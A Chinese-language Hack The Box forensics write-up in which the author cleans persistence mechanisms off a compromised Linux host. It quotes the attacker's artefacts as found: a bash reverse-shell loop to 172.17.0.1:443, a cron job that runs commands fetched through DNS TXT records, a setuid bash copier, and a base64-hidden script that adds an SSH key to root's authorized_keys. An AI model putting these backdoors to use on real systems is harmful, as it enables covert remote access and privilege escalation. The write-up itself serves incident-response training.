> 文档中心 > HTB-Forensics-PersistenceIsFutile

HTB-Forensics-PersistenceIsFutile


简介

该Linux系统有8个问题,全部解决后获得flag。可通过ssh可连接该系统,有sudo权限。

思路

webshell入侵应急响应流程:

1. 用户命令日志

2. 异常进程,端口,计划任务及相关文件

3. webshell文件

详细过程

通过ssh进入系统

ssh -p 31786 user@134.209.186.36      whoami#user

查看任务进度

sudo /root/solveme#[sudo] password for user: #Issue 1 is partially remediated#Issue 2 is not remediated#Issue 3 is not remediated#Issue 4 is not remediated#Issue 5 is not remediated#Issue 6 is not remediated#Issue 7 is not remediated#Issue 8 is not remediated

bash日志和配置

ls -al vi .bashrc

发现配置cat命令的alias存在异常,将其注释,并删除异常目录。

rm -rf /dev/tcp/172.17.0.1

 

用户

查看 /etc/passwd 发现异常用户在root用户组,而且可以通过使用bash,要对其加以修改。

 异常进程

存在异常进程,停止进程,查看并删除对应目录

killcat /var/lib/private/connectivity-check#!/bin/bash##while true; do#    nohup bash -i >& /dev/tcp/172.17.0.1/443 0>&1;#    sleep 10;#donerm -rf /var/lib/private/connectivity-check

计划任务

1 计划任务配置目录 使用如下命令查看,发现异常的任务直接删除或注释即可。

crontab -l#* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"vi /var/spool/cron/crontabs/user

 2 计划任务目录 

在cron.daily下发现两个时间较近的文件

2.1 查看acess-up文件,这个脚本生成 文件名为随机6个字母的文件并用 /bin/bash 替换了它,还修改了文件属性。

sudo cat access-up#!/bin/bashDIRS=("/bin" "/sbin")DIR=${DIRS[$[ $RANDOM % 2 ]]}while : ; do    NEW_UUID=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 6 | head -n 1)    [[ -f "{$DIR}/${NEW_UUID}" ]] || breakdonecp /bin/bash ${DIR}/${NEW_UUID}touch ${DIR}/${NEW_UUID} -r /bin/bashchmod 4755 ${DIR}/${NEW_UUID}

通过命令找到执行文件,并逐一删除 

find / -perm -4755 2>/dev/null

 2.2 查看pyssh,会定时的修改ssh配置,用base64解码可知道特征,直接到对应文件删除即可。

sudo cat pyssh#!/bin/shVER=$(python3 -c 'import ssh_import_id; print(ssh_import_id.VERSION)')MAJOR=$(echo $VER | cut -d'.' -f1)if [ $MAJOR -le 6 ]; then    /lib/python3/dist-packages/ssh_import_id_updatefi
sudo cat /lib/python3/dist-packages/ssh_import_id_update #!/bin/bashKEY=$(echo "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUhSZHg1UnE1K09icTY2Y3l3ejVLVzlvZlZtME5DWjM5RVBEQTJDSkRxeDEgbm9ib2R5QG5vdGhpbmcK" | base64 -d)#ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRdx5Rq5+Obq66cywz5KW9ofVm0NCZ39EPDA2CJDqx1 nobody@nothingPATH=$(echo "L3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMK" | base64 -d)#/root/.ssh/authorized_keys/bin/grep -q "$KEY" "$PATH" || echo "$KEY" >> "$PATH"

其他

1 与connectivity-check相关的文件,删除

find / -type f |grep connectivity-check 2>/dev/null

2 alertd文件

3 其他的异常文件 /usr/sbin/ppppd

 完成所有任务